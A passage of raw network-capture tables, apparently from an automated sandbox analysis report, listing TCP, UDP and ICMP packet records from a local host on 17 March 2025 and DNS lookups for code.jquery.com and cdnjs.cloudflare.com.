Mar 17, 2025 17:03:35.388987064 CET	49803	443	192.168.2.17	95.101.182.112
Mar 17, 2025 17:03:35.388995886 CET	443	49803	95.101.182.112	192.168.2.17
Mar 17, 2025 17:03:35.430929899 CET	49803	443	192.168.2.17	95.101.182.112
Mar 17, 2025 17:03:35.524872065 CET	443	49809	95.101.182.98	192.168.2.17
Mar 17, 2025 17:03:35.524969101 CET	49809	443	192.168.2.17	95.101.182.98
Mar 17, 2025 17:03:35.525414944 CET	49809	443	192.168.2.17	95.101.182.98
Mar 17, 2025 17:03:35.525424957 CET	443	49809	95.101.182.98	192.168.2.17
Mar 17, 2025 17:03:35.525662899 CET	443	49809	95.101.182.98	192.168.2.17
Mar 17, 2025 17:03:35.525990009 CET	49809	443	192.168.2.17	95.101.182.98
Mar 17, 2025 17:03:35.556226969 CET	443	49803	95.101.182.112	192.168.2.17
Mar 17, 2025 17:03:35.556251049 CET	443	49803	95.101.182.112	192.168.2.17
Mar 17, 2025 17:03:35.556323051 CET	49803	443	192.168.2.17	95.101.182.112
Mar 17, 2025 17:03:35.556334019 CET	443	49803	95.101.182.112	192.168.2.17
Mar 17, 2025 17:03:35.556385040 CET	49803	443	192.168.2.17	95.101.182.112
Mar 17, 2025 17:03:35.568334103 CET	443	49809	95.101.182.98	192.168.2.17
Mar 17, 2025 17:03:35.573935986 CET	443	49803	95.101.182.112	192.168.2.17
Mar 17, 2025 17:03:35.573951006 CET	443	49803	95.101.182.112	192.168.2.17
Mar 17, 2025 17:03:35.574017048 CET	49803	443	192.168.2.17	95.101.182.112
Mar 17, 2025 17:03:35.574027061 CET	443	49803	95.101.182.112	192.168.2.17
Mar 17, 2025 17:03:35.574076891 CET	49803	443	192.168.2.17	95.101.182.112
Mar 17, 2025 17:03:35.582767963 CET	443	49803	95.101.182.112	192.168.2.17
Mar 17, 2025 17:03:35.582864046 CET	49803	443	192.168.2.17	95.101.182.112
Mar 17, 2025 17:03:35.582876921 CET	443	49803	95.101.182.112	192.168.2.17
Mar 17, 2025 17:03:35.597685099 CET	443	49803	95.101.182.112	192.168.2.17
Mar 17, 2025 17:03:35.597700119 CET	443	49803	95.101.182.112	192.168.2.17
Mar 17, 2025 17:03:35.597765923 CET	49803	443	192.168.2.17	95.101.182.112
Mar 17, 2025 17:03:35.597775936 CET	443	49803	95.101.182.112	192.168.2.17
Mar 17, 2025 17:03:35.629568100 CET	443	49803	95.101.182.112	192.168.2.17
Mar 17, 2025 17:03:35.629652023 CET	49803	443	192.168.2.17	95.101.182.112
Mar 17, 2025 17:03:35.629659891 CET	443	49803	95.101.182.112	192.168.2.17
Mar 17, 2025 17:03:35.669914961 CET	49803	443	192.168.2.17	95.101.182.112
Mar 17, 2025 17:03:35.682647943 CET	443	49803	95.101.182.112	192.168.2.17
Mar 17, 2025 17:03:35.682656050 CET	443	49803	95.101.182.112	192.168.2.17
Mar 17, 2025 17:03:35.682703018 CET	443	49803	95.101.182.112	192.168.2.17
Mar 17, 2025 17:03:35.682738066 CET	49803	443	192.168.2.17	95.101.182.112
Mar 17, 2025 17:03:35.682746887 CET	443	49803	95.101.182.112	192.168.2.17
Mar 17, 2025 17:03:35.682776928 CET	49803	443	192.168.2.17	95.101.182.112
Mar 17, 2025 17:03:35.682791948 CET	49803	443	192.168.2.17	95.101.182.112
Mar 17, 2025 17:03:35.697037935 CET	443	49803	95.101.182.112	192.168.2.17
Mar 17, 2025 17:03:35.697052956 CET	443	49803	95.101.182.112	192.168.2.17
Mar 17, 2025 17:03:35.697118044 CET	49803	443	192.168.2.17	95.101.182.112
Mar 17, 2025 17:03:35.697124004 CET	443	49803	95.101.182.112	192.168.2.17
Mar 17, 2025 17:03:35.697175980 CET	49803	443	192.168.2.17	95.101.182.112
Mar 17, 2025 17:03:35.703881979 CET	443	49803	95.101.182.112	192.168.2.17
Mar 17, 2025 17:03:35.703947067 CET	49803	443	192.168.2.17	95.101.182.112
Mar 17, 2025 17:03:35.703953028 CET	443	49803	95.101.182.112	192.168.2.17
Mar 17, 2025 17:03:35.713139057 CET	443	49803	95.101.182.112	192.168.2.17
Mar 17, 2025 17:03:35.713176012 CET	443	49803	95.101.182.112	192.168.2.17
Mar 17, 2025 17:03:35.713202953 CET	443	49803	95.101.182.112	192.168.2.17
Mar 17, 2025 17:03:35.713205099 CET	49803	443	192.168.2.17	95.101.182.112
Mar 17, 2025 17:03:35.713238001 CET	49803	443	192.168.2.17	95.101.182.112
Mar 17, 2025 17:03:35.713259935 CET	49803	443	192.168.2.17	95.101.182.112
Mar 17, 2025 17:03:35.713479042 CET	49803	443	192.168.2.17	95.101.182.112
Mar 17, 2025 17:03:35.713490963 CET	443	49803	95.101.182.112	192.168.2.17
Mar 17, 2025 17:03:35.716243029 CET	49810	443	192.168.2.17	95.101.182.98
Mar 17, 2025 17:03:35.716265917 CET	443	49810	95.101.182.98	192.168.2.17
Mar 17, 2025 17:03:35.716336012 CET	49810	443	192.168.2.17	95.101.182.98
Mar 17, 2025 17:03:35.716500044 CET	49810	443	192.168.2.17	95.101.182.98
Mar 17, 2025 17:03:35.716511965 CET	443	49810	95.101.182.98	192.168.2.17
Mar 17, 2025 17:03:35.881676912 CET	443	49809	95.101.182.98	192.168.2.17
Mar 17, 2025 17:03:35.881719112 CET	443	49809	95.101.182.98	192.168.2.17
Mar 17, 2025 17:03:35.881768942 CET	49809	443	192.168.2.17	95.101.182.98
Mar 17, 2025 17:03:35.881794930 CET	443	49809	95.101.182.98	192.168.2.17
Mar 17, 2025 17:03:35.881860971 CET	49809	443	192.168.2.17	95.101.182.98
Mar 17, 2025 17:03:35.882431030 CET	49809	443	192.168.2.17	95.101.182.98
Mar 17, 2025 17:03:35.882467985 CET	443	49809	95.101.182.98	192.168.2.17
Mar 17, 2025 17:03:35.882522106 CET	49809	443	192.168.2.17	95.101.182.98
Mar 17, 2025 17:03:36.367686987 CET	443	49810	95.101.182.98	192.168.2.17
Mar 17, 2025 17:03:36.367750883 CET	49810	443	192.168.2.17	95.101.182.98
Mar 17, 2025 17:03:36.369090080 CET	49810	443	192.168.2.17	95.101.182.98
Mar 17, 2025 17:03:36.369096041 CET	443	49810	95.101.182.98	192.168.2.17
Mar 17, 2025 17:03:36.369344950 CET	443	49810	95.101.182.98	192.168.2.17
Mar 17, 2025 17:03:36.371494055 CET	49810	443	192.168.2.17	95.101.182.98
Mar 17, 2025 17:03:36.412332058 CET	443	49810	95.101.182.98	192.168.2.17
Mar 17, 2025 17:03:36.657941103 CET	443	49810	95.101.182.98	192.168.2.17
Mar 17, 2025 17:03:36.683765888 CET	443	49810	95.101.182.98	192.168.2.17
Mar 17, 2025 17:03:36.683790922 CET	443	49810	95.101.182.98	192.168.2.17
Mar 17, 2025 17:03:36.683906078 CET	49810	443	192.168.2.17	95.101.182.98
Mar 17, 2025 17:03:36.683924913 CET	443	49810	95.101.182.98	192.168.2.17
Mar 17, 2025 17:03:36.683984041 CET	49810	443	192.168.2.17	95.101.182.98
Mar 17, 2025 17:03:36.750155926 CET	443	49810	95.101.182.98	192.168.2.17
Mar 17, 2025 17:03:36.750267982 CET	49810	443	192.168.2.17	95.101.182.98
Mar 17, 2025 17:03:36.750283957 CET	443	49810	95.101.182.98	192.168.2.17
Mar 17, 2025 17:03:36.764769077 CET	443	49810	95.101.182.98	192.168.2.17
Mar 17, 2025 17:03:36.764790058 CET	443	49810	95.101.182.98	192.168.2.17
Mar 17, 2025 17:03:36.764868975 CET	49810	443	192.168.2.17	95.101.182.98
Mar 17, 2025 17:03:36.764880896 CET	443	49810	95.101.182.98	192.168.2.17
Mar 17, 2025 17:03:36.776036024 CET	443	49810	95.101.182.98	192.168.2.17
Mar 17, 2025 17:03:36.776104927 CET	49810	443	192.168.2.17	95.101.182.98
Mar 17, 2025 17:03:36.776114941 CET	443	49810	95.101.182.98	192.168.2.17
Mar 17, 2025 17:03:36.821332932 CET	49810	443	192.168.2.17	95.101.182.98
Mar 17, 2025 17:03:36.843183994 CET	443	49810	95.101.182.98	192.168.2.17
Mar 17, 2025 17:03:36.843210936 CET	443	49810	95.101.182.98	192.168.2.17
Mar 17, 2025 17:03:36.843323946 CET	49810	443	192.168.2.17	95.101.182.98
Mar 17, 2025 17:03:36.843341112 CET	443	49810	95.101.182.98	192.168.2.17
Mar 17, 2025 17:03:36.843389034 CET	49810	443	192.168.2.17	95.101.182.98
Mar 17, 2025 17:03:36.843672991 CET	443	49810	95.101.182.98	192.168.2.17
Mar 17, 2025 17:03:36.843736887 CET	49810	443	192.168.2.17	95.101.182.98
Mar 17, 2025 17:03:36.843745947 CET	443	49810	95.101.182.98	192.168.2.17
Mar 17, 2025 17:03:36.855149031 CET	443	49810	95.101.182.98	192.168.2.17
Mar 17, 2025 17:03:36.855165958 CET	443	49810	95.101.182.98	192.168.2.17
Mar 17, 2025 17:03:36.855238914 CET	49810	443	192.168.2.17	95.101.182.98
Mar 17, 2025 17:03:36.855249882 CET	443	49810	95.101.182.98	192.168.2.17
Mar 17, 2025 17:03:36.866458893 CET	443	49810	95.101.182.98	192.168.2.17
Mar 17, 2025 17:03:36.866522074 CET	49810	443	192.168.2.17	95.101.182.98
Mar 17, 2025 17:03:36.866533041 CET	443	49810	95.101.182.98	192.168.2.17
Mar 17, 2025 17:03:36.884111881 CET	443	49810	95.101.182.98	192.168.2.17
Mar 17, 2025 17:03:36.884129047 CET	443	49810	95.101.182.98	192.168.2.17
Mar 17, 2025 17:03:36.884188890 CET	49810	443	192.168.2.17	95.101.182.98
Mar 17, 2025 17:03:36.884198904 CET	443	49810	95.101.182.98	192.168.2.17
Mar 17, 2025 17:03:36.929874897 CET	49810	443	192.168.2.17	95.101.182.98
Mar 17, 2025 17:03:36.934947968 CET	443	49810	95.101.182.98	192.168.2.17
Mar 17, 2025 17:03:36.934959888 CET	443	49810	95.101.182.98	192.168.2.17
Mar 17, 2025 17:03:36.935014009 CET	49810	443	192.168.2.17	95.101.182.98
Mar 17, 2025 17:03:36.935028076 CET	443	49810	95.101.182.98	192.168.2.17
Mar 17, 2025 17:03:36.936311960 CET	443	49810	95.101.182.98	192.168.2.17
Mar 17, 2025 17:03:36.936326981 CET	443	49810	95.101.182.98	192.168.2.17
Mar 17, 2025 17:03:36.936366081 CET	443	49810	95.101.182.98	192.168.2.17
Mar 17, 2025 17:03:36.936372995 CET	49810	443	192.168.2.17	95.101.182.98
Mar 17, 2025 17:03:36.936383963 CET	443	49810	95.101.182.98	192.168.2.17
Mar 17, 2025 17:03:36.936395884 CET	49810	443	192.168.2.17	95.101.182.98
Mar 17, 2025 17:03:36.936422110 CET	49810	443	192.168.2.17	95.101.182.98
Mar 17, 2025 17:03:36.936518908 CET	443	49810	95.101.182.98	192.168.2.17
Mar 17, 2025 17:03:36.936568022 CET	49810	443	192.168.2.17	95.101.182.98
Mar 17, 2025 17:03:36.936583996 CET	443	49810	95.101.182.98	192.168.2.17
Mar 17, 2025 17:03:36.936619043 CET	49810	443	192.168.2.17	95.101.182.98
Mar 17, 2025 17:03:36.938467026 CET	443	49810	95.101.182.98	192.168.2.17
Mar 17, 2025 17:03:36.938483000 CET	443	49810	95.101.182.98	192.168.2.17
Mar 17, 2025 17:03:36.938538074 CET	49810	443	192.168.2.17	95.101.182.98
Mar 17, 2025 17:03:36.938545942 CET	443	49810	95.101.182.98	192.168.2.17
Mar 17, 2025 17:03:36.938586950 CET	49810	443	192.168.2.17	95.101.182.98
Mar 17, 2025 17:03:36.943717003 CET	443	49810	95.101.182.98	192.168.2.17
Mar 17, 2025 17:03:36.943778992 CET	49810	443	192.168.2.17	95.101.182.98
Mar 17, 2025 17:03:36.943789959 CET	443	49810	95.101.182.98	192.168.2.17
Mar 17, 2025 17:03:36.951313972 CET	443	49810	95.101.182.98	192.168.2.17
Mar 17, 2025 17:03:36.951328039 CET	443	49810	95.101.182.98	192.168.2.17
Mar 17, 2025 17:03:36.951384068 CET	49810	443	192.168.2.17	95.101.182.98
Mar 17, 2025 17:03:36.951395988 CET	443	49810	95.101.182.98	192.168.2.17
Mar 17, 2025 17:03:36.958882093 CET	443	49810	95.101.182.98	192.168.2.17
Mar 17, 2025 17:03:36.958946943 CET	49810	443	192.168.2.17	95.101.182.98
Mar 17, 2025 17:03:36.958961010 CET	443	49810	95.101.182.98	192.168.2.17
Mar 17, 2025 17:03:36.970017910 CET	443	49810	95.101.182.98	192.168.2.17
Mar 17, 2025 17:03:36.970040083 CET	443	49810	95.101.182.98	192.168.2.17
Mar 17, 2025 17:03:36.970098972 CET	49810	443	192.168.2.17	95.101.182.98
Mar 17, 2025 17:03:36.970113993 CET	443	49810	95.101.182.98	192.168.2.17
Mar 17, 2025 17:03:36.970130920 CET	49810	443	192.168.2.17	95.101.182.98
Mar 17, 2025 17:03:36.973284960 CET	443	49810	95.101.182.98	192.168.2.17
Mar 17, 2025 17:03:36.973345995 CET	49810	443	192.168.2.17	95.101.182.98
Mar 17, 2025 17:03:36.973356962 CET	443	49810	95.101.182.98	192.168.2.17
Mar 17, 2025 17:03:37.025887966 CET	49810	443	192.168.2.17	95.101.182.98
Mar 17, 2025 17:03:37.027338028 CET	443	49810	95.101.182.98	192.168.2.17
Mar 17, 2025 17:03:37.027352095 CET	443	49810	95.101.182.98	192.168.2.17
Mar 17, 2025 17:03:37.027389050 CET	443	49810	95.101.182.98	192.168.2.17
Mar 17, 2025 17:03:37.027401924 CET	49810	443	192.168.2.17	95.101.182.98
Mar 17, 2025 17:03:37.027410984 CET	443	49810	95.101.182.98	192.168.2.17
Mar 17, 2025 17:03:37.027437925 CET	49810	443	192.168.2.17	95.101.182.98
Mar 17, 2025 17:03:37.027455091 CET	49810	443	192.168.2.17	95.101.182.98
Mar 17, 2025 17:03:37.027484894 CET	443	49810	95.101.182.98	192.168.2.17
Mar 17, 2025 17:03:37.027537107 CET	49810	443	192.168.2.17	95.101.182.98
Mar 17, 2025 17:03:37.027543068 CET	443	49810	95.101.182.98	192.168.2.17
Mar 17, 2025 17:03:37.028189898 CET	443	49810	95.101.182.98	192.168.2.17
Mar 17, 2025 17:03:37.028211117 CET	443	49810	95.101.182.98	192.168.2.17
Mar 17, 2025 17:03:37.028245926 CET	49810	443	192.168.2.17	95.101.182.98
Mar 17, 2025 17:03:37.028254032 CET	443	49810	95.101.182.98	192.168.2.17
Mar 17, 2025 17:03:37.028275967 CET	49810	443	192.168.2.17	95.101.182.98
Mar 17, 2025 17:03:37.028661966 CET	443	49810	95.101.182.98	192.168.2.17
Mar 17, 2025 17:03:37.028712988 CET	49810	443	192.168.2.17	95.101.182.98
Mar 17, 2025 17:03:37.028719902 CET	443	49810	95.101.182.98	192.168.2.17
Mar 17, 2025 17:03:37.028737068 CET	443	49810	95.101.182.98	192.168.2.17
Mar 17, 2025 17:03:37.028781891 CET	49810	443	192.168.2.17	95.101.182.98
Mar 17, 2025 17:03:37.028904915 CET	49810	443	192.168.2.17	95.101.182.98
Mar 17, 2025 17:03:37.028913975 CET	443	49810	95.101.182.98	192.168.2.17
Mar 17, 2025 17:03:37.962913036 CET	49682	443	192.168.2.17	51.132.193.104
Mar 17, 2025 17:03:37.978913069 CET	49683	80	192.168.2.17	2.17.190.73
Mar 17, 2025 17:03:37.978955030 CET	49671	443	192.168.2.17	52.109.28.46
Mar 17, 2025 17:03:39.415601015 CET	49672	443	192.168.2.17	52.123.128.14
Mar 17, 2025 17:03:39.540956020 CET	49673	443	192.168.2.17	204.79.197.203
Mar 17, 2025 17:03:47.573874950 CET	49682	443	192.168.2.17	51.132.193.104
Mar 17, 2025 17:03:47.589894056 CET	49683	80	192.168.2.17	2.17.190.73
Mar 17, 2025 17:03:47.589941025 CET	49671	443	192.168.2.17	52.109.28.46
Mar 17, 2025 17:03:49.025914907 CET	49672	443	192.168.2.17	52.123.128.14
Mar 17, 2025 17:03:49.153929949 CET	49673	443	192.168.2.17	204.79.197.203
Mar 17, 2025 17:04:00.642169952 CET	57702	53	192.168.2.17	1.1.1.1
Mar 17, 2025 17:04:00.646893024 CET	53	57702	1.1.1.1	192.168.2.17
Mar 17, 2025 17:04:00.646967888 CET	57702	53	192.168.2.17	1.1.1.1
Mar 17, 2025 17:04:00.646989107 CET	57702	53	192.168.2.17	1.1.1.1
Mar 17, 2025 17:04:00.651607990 CET	53	57702	1.1.1.1	192.168.2.17
Mar 17, 2025 17:04:01.092127085 CET	53	57702	1.1.1.1	192.168.2.17
Mar 17, 2025 17:04:01.092940092 CET	57702	53	192.168.2.17	1.1.1.1
Mar 17, 2025 17:04:01.097940922 CET	53	57702	1.1.1.1	192.168.2.17
Mar 17, 2025 17:04:01.098014116 CET	57702	53	192.168.2.17	1.1.1.1
Mar 17, 2025 17:04:02.591708899 CET	57704	53	192.168.2.17	1.1.1.1
Mar 17, 2025 17:04:02.596431971 CET	53	57704	1.1.1.1	192.168.2.17
Mar 17, 2025 17:04:02.596503973 CET	57704	53	192.168.2.17	1.1.1.1
Mar 17, 2025 17:04:02.596577883 CET	57704	53	192.168.2.17	1.1.1.1
Mar 17, 2025 17:04:02.596612930 CET	57704	53	192.168.2.17	1.1.1.1
Mar 17, 2025 17:04:02.601237059 CET	53	57704	1.1.1.1	192.168.2.17
Mar 17, 2025 17:04:02.601248026 CET	53	57704	1.1.1.1	192.168.2.17
Mar 17, 2025 17:04:03.077923059 CET	53	57704	1.1.1.1	192.168.2.17
Mar 17, 2025 17:04:03.078183889 CET	57704	53	192.168.2.17	1.1.1.1
Mar 17, 2025 17:04:03.083045006 CET	53	57704	1.1.1.1	192.168.2.17
Mar 17, 2025 17:04:03.083112955 CET	57704	53	192.168.2.17	1.1.1.1
Mar 17, 2025 17:04:04.039104939 CET	49696	80	192.168.2.17	199.232.214.172
Mar 17, 2025 17:04:04.044327021 CET	80	49696	199.232.214.172	192.168.2.17
Mar 17, 2025 17:04:04.044379950 CET	49696	80	192.168.2.17	199.232.214.172
Mar 17, 2025 17:04:23.071322918 CET	57711	443	192.168.2.17	142.250.184.228
Mar 17, 2025 17:04:23.071355104 CET	443	57711	142.250.184.228	192.168.2.17
Mar 17, 2025 17:04:23.071458101 CET	57711	443	192.168.2.17	142.250.184.228
Mar 17, 2025 17:04:23.071609974 CET	57711	443	192.168.2.17	142.250.184.228
Mar 17, 2025 17:04:23.071615934 CET	443	57711	142.250.184.228	192.168.2.17
Mar 17, 2025 17:04:23.703996897 CET	443	57711	142.250.184.228	192.168.2.17
Mar 17, 2025 17:04:23.704438925 CET	57711	443	192.168.2.17	142.250.184.228
Mar 17, 2025 17:04:23.704464912 CET	443	57711	142.250.184.228	192.168.2.17
Mar 17, 2025 17:04:30.745158911 CET	57719	443	192.168.2.17	172.67.210.51
Mar 17, 2025 17:04:30.745186090 CET	443	57719	172.67.210.51	192.168.2.17
Mar 17, 2025 17:04:30.745260000 CET	57719	443	192.168.2.17	172.67.210.51
Mar 17, 2025 17:04:30.745414019 CET	57719	443	192.168.2.17	172.67.210.51
Mar 17, 2025 17:04:30.745428085 CET	443	57719	172.67.210.51	192.168.2.17
Mar 17, 2025 17:04:31.202241898 CET	443	57719	172.67.210.51	192.168.2.17
Mar 17, 2025 17:04:31.202487946 CET	57719	443	192.168.2.17	172.67.210.51
Mar 17, 2025 17:04:31.202511072 CET	443	57719	172.67.210.51	192.168.2.17
Mar 17, 2025 17:04:31.202641010 CET	57719	443	192.168.2.17	172.67.210.51
Mar 17, 2025 17:04:31.202646017 CET	443	57719	172.67.210.51	192.168.2.17
Mar 17, 2025 17:04:33.622452021 CET	443	57711	142.250.184.228	192.168.2.17
Mar 17, 2025 17:04:33.622509956 CET	443	57711	142.250.184.228	192.168.2.17
Mar 17, 2025 17:04:33.622582912 CET	57711	443	192.168.2.17	142.250.184.228
Mar 17, 2025 17:04:34.475235939 CET	57711	443	192.168.2.17	142.250.184.228
Mar 17, 2025 17:04:34.475261927 CET	443	57711	142.250.184.228	192.168.2.17
Mar 17, 2025 17:04:35.205602884 CET	443	57719	172.67.210.51	192.168.2.17
Mar 17, 2025 17:04:35.205696106 CET	443	57719	172.67.210.51	192.168.2.17
Mar 17, 2025 17:04:35.205743074 CET	57719	443	192.168.2.17	172.67.210.51
Mar 17, 2025 17:04:35.212145090 CET	57719	443	192.168.2.17	172.67.210.51
Mar 17, 2025 17:04:35.212162971 CET	443	57719	172.67.210.51	192.168.2.17
Mar 17, 2025 17:04:35.243935108 CET	57721	443	192.168.2.17	104.21.91.45
Mar 17, 2025 17:04:35.243963003 CET	443	57721	104.21.91.45	192.168.2.17
Mar 17, 2025 17:04:35.244029045 CET	57721	443	192.168.2.17	104.21.91.45
Mar 17, 2025 17:04:35.244185925 CET	57721	443	192.168.2.17	104.21.91.45
Mar 17, 2025 17:04:35.244199038 CET	443	57721	104.21.91.45	192.168.2.17
Mar 17, 2025 17:04:35.726069927 CET	443	57721	104.21.91.45	192.168.2.17
Mar 17, 2025 17:04:35.726341009 CET	57721	443	192.168.2.17	104.21.91.45
Mar 17, 2025 17:04:35.726370096 CET	443	57721	104.21.91.45	192.168.2.17
Mar 17, 2025 17:04:35.726468086 CET	57721	443	192.168.2.17	104.21.91.45
Mar 17, 2025 17:04:35.726475000 CET	443	57721	104.21.91.45	192.168.2.17
Mar 17, 2025 17:04:36.076787949 CET	443	57721	104.21.91.45	192.168.2.17
Mar 17, 2025 17:04:36.076863050 CET	443	57721	104.21.91.45	192.168.2.17
Mar 17, 2025 17:04:36.076917887 CET	57721	443	192.168.2.17	104.21.91.45
Mar 17, 2025 17:04:36.077511072 CET	57721	443	192.168.2.17	104.21.91.45
Mar 17, 2025 17:04:36.077522993 CET	443	57721	104.21.91.45	192.168.2.17
Mar 17, 2025 17:04:54.699141026 CET	49697	443	192.168.2.17	20.190.160.5
Mar 17, 2025 17:04:54.704485893 CET	443	49697	20.190.160.5	192.168.2.17
Mar 17, 2025 17:04:54.704540968 CET	49697	443	192.168.2.17	20.190.160.5
Mar 17, 2025 17:05:23.132877111 CET	57725	443	192.168.2.17	142.250.184.228
Mar 17, 2025 17:05:23.132910013 CET	443	57725	142.250.184.228	192.168.2.17
Mar 17, 2025 17:05:23.132992029 CET	57725	443	192.168.2.17	142.250.184.228
Mar 17, 2025 17:05:23.133119106 CET	57725	443	192.168.2.17	142.250.184.228
Mar 17, 2025 17:05:23.133133888 CET	443	57725	142.250.184.228	192.168.2.17
Mar 17, 2025 17:05:23.760724068 CET	443	57725	142.250.184.228	192.168.2.17
Mar 17, 2025 17:05:23.760992050 CET	57725	443	192.168.2.17	142.250.184.228
Mar 17, 2025 17:05:23.761022091 CET	443	57725	142.250.184.228	192.168.2.17

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 17, 2025 17:03:18.314220905 CET	53	50110	1.1.1.1	192.168.2.17
Mar 17, 2025 17:03:18.323426962 CET	53	54975	1.1.1.1	192.168.2.17
Mar 17, 2025 17:03:18.392297983 CET	54077	53	192.168.2.17	1.1.1.1
Mar 17, 2025 17:03:18.392848969 CET	63351	53	192.168.2.17	1.1.1.1
Mar 17, 2025 17:03:18.393743992 CET	58343	53	192.168.2.17	1.1.1.1
Mar 17, 2025 17:03:18.394181967 CET	64710	53	192.168.2.17	1.1.1.1
Mar 17, 2025 17:03:18.394946098 CET	49204	53	192.168.2.17	1.1.1.1
Mar 17, 2025 17:03:18.395128012 CET	59898	53	192.168.2.17	1.1.1.1
Mar 17, 2025 17:03:18.396431923 CET	58649	53	192.168.2.17	1.1.1.1
Mar 17, 2025 17:03:18.396887064 CET	52127	53	192.168.2.17	1.1.1.1
Mar 17, 2025 17:03:18.397248983 CET	62327	53	192.168.2.17	1.1.1.1
Mar 17, 2025 17:03:18.397408009 CET	61786	53	192.168.2.17	1.1.1.1
Mar 17, 2025 17:03:18.399791002 CET	53	63351	1.1.1.1	192.168.2.17
Mar 17, 2025 17:03:18.400079012 CET	53	54077	1.1.1.1	192.168.2.17
Mar 17, 2025 17:03:18.400724888 CET	53	58343	1.1.1.1	192.168.2.17
Mar 17, 2025 17:03:18.402507067 CET	53	64710	1.1.1.1	192.168.2.17
Mar 17, 2025 17:03:18.402517080 CET	53	49204	1.1.1.1	192.168.2.17
Mar 17, 2025 17:03:18.402822018 CET	53	59898	1.1.1.1	192.168.2.17
Mar 17, 2025 17:03:18.403633118 CET	53	55118	1.1.1.1	192.168.2.17
Mar 17, 2025 17:03:18.404242039 CET	53	58649	1.1.1.1	192.168.2.17
Mar 17, 2025 17:03:18.404627085 CET	53	52127	1.1.1.1	192.168.2.17
Mar 17, 2025 17:03:18.631640911 CET	53	61786	1.1.1.1	192.168.2.17
Mar 17, 2025 17:03:19.111788988 CET	55793	53	192.168.2.17	1.1.1.1
Mar 17, 2025 17:03:19.111958027 CET	50295	53	192.168.2.17	1.1.1.1
Mar 17, 2025 17:03:19.178679943 CET	53	62327	1.1.1.1	192.168.2.17
Mar 17, 2025 17:03:19.301659107 CET	53	57388	1.1.1.1	192.168.2.17
Mar 17, 2025 17:03:19.353876114 CET	53	50295	1.1.1.1	192.168.2.17
Mar 17, 2025 17:03:19.523237944 CET	53	55793	1.1.1.1	192.168.2.17
Mar 17, 2025 17:03:19.811619043 CET	53	55051	1.1.1.1	192.168.2.17
Mar 17, 2025 17:03:23.008739948 CET	64088	53	192.168.2.17	1.1.1.1
Mar 17, 2025 17:03:23.008893967 CET	50487	53	192.168.2.17	1.1.1.1
Mar 17, 2025 17:03:23.015511036 CET	53	64088	1.1.1.1	192.168.2.17
Mar 17, 2025 17:03:23.015523911 CET	53	50487	1.1.1.1	192.168.2.17
Mar 17, 2025 17:03:23.354240894 CET	62231	53	192.168.2.17	1.1.1.1
Mar 17, 2025 17:03:23.354506969 CET	60263	53	192.168.2.17	1.1.1.1
Mar 17, 2025 17:03:23.355410099 CET	57191	53	192.168.2.17	1.1.1.1
Mar 17, 2025 17:03:23.355645895 CET	63031	53	192.168.2.17	1.1.1.1
Mar 17, 2025 17:03:23.361840963 CET	53	57191	1.1.1.1	192.168.2.17
Mar 17, 2025 17:03:23.362287998 CET	53	63031	1.1.1.1	192.168.2.17
Mar 17, 2025 17:03:23.368225098 CET	53	60263	1.1.1.1	192.168.2.17
Mar 17, 2025 17:03:23.370558023 CET	53	62231	1.1.1.1	192.168.2.17
Mar 17, 2025 17:03:28.534372091 CET	52661	53	192.168.2.17	1.1.1.1
Mar 17, 2025 17:03:28.534516096 CET	52152	53	192.168.2.17	1.1.1.1
Mar 17, 2025 17:03:28.548677921 CET	53	52152	1.1.1.1	192.168.2.17
Mar 17, 2025 17:03:28.551882029 CET	53	52661	1.1.1.1	192.168.2.17
Mar 17, 2025 17:03:31.552377939 CET	52344	53	192.168.2.17	1.1.1.1
Mar 17, 2025 17:03:31.552589893 CET	60263	53	192.168.2.17	1.1.1.1
Mar 17, 2025 17:03:31.560091972 CET	53	60263	1.1.1.1	192.168.2.17
Mar 17, 2025 17:03:31.561367035 CET	53	52344	1.1.1.1	192.168.2.17
Mar 17, 2025 17:03:32.483292103 CET	58215	53	192.168.2.17	1.1.1.1
Mar 17, 2025 17:03:32.483442068 CET	60283	53	192.168.2.17	1.1.1.1
Mar 17, 2025 17:03:32.490947962 CET	53	58215	1.1.1.1	192.168.2.17
Mar 17, 2025 17:03:32.491492033 CET	53	60283	1.1.1.1	192.168.2.17
Mar 17, 2025 17:03:33.108331919 CET	56260	53	192.168.2.17	1.1.1.1
Mar 17, 2025 17:03:33.108479023 CET	58111	53	192.168.2.17	1.1.1.1
Mar 17, 2025 17:03:33.115900040 CET	53	56260	1.1.1.1	192.168.2.17
Mar 17, 2025 17:03:33.140826941 CET	53	58111	1.1.1.1	192.168.2.17
Mar 17, 2025 17:03:34.890407085 CET	62415	53	192.168.2.17	1.1.1.1
Mar 17, 2025 17:03:34.890578032 CET	52171	53	192.168.2.17	1.1.1.1
Mar 17, 2025 17:03:34.901623011 CET	53	62415	1.1.1.1	192.168.2.17
Mar 17, 2025 17:03:34.901788950 CET	53	52171	1.1.1.1	192.168.2.17
Mar 17, 2025 17:03:36.851963043 CET	53	55417	1.1.1.1	192.168.2.17
Mar 17, 2025 17:03:55.586992979 CET	53	64154	1.1.1.1	192.168.2.17
Mar 17, 2025 17:04:00.641753912 CET	53	59604	1.1.1.1	192.168.2.17
Mar 17, 2025 17:04:02.591259003 CET	53	54544	1.1.1.1	192.168.2.17
Mar 17, 2025 17:04:18.202362061 CET	53	62921	1.1.1.1	192.168.2.17
Mar 17, 2025 17:04:20.496474028 CET	53	59744	1.1.1.1	192.168.2.17
Mar 17, 2025 17:04:21.756891966 CET	53	58912	1.1.1.1	192.168.2.17
Mar 17, 2025 17:04:41.927743912 CET	138	138	192.168.2.17	192.168.2.255
Mar 17, 2025 17:05:22.486694098 CET	53	53870	1.1.1.1	192.168.2.17

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Mar 17, 2025 17:03:19.178744078 CET	192.168.2.17	1.1.1.1	c240	(Port unreachable)	Destination Unreachable
Mar 17, 2025 17:03:33.140886068 CET	192.168.2.17	1.1.1.1	c2d1	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Mar 17, 2025 17:03:18.392297983 CET	192.168.2.17	1.1.1.1	0x3021	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Mar 17, 2025 17:03:18.392848969 CET	192.168.2.17	1.1.1.1	0x8400	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Mar 17, 2025 17:03:18.393743992 CET	192.168.2.17	1.1.1.1	0xea7b	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
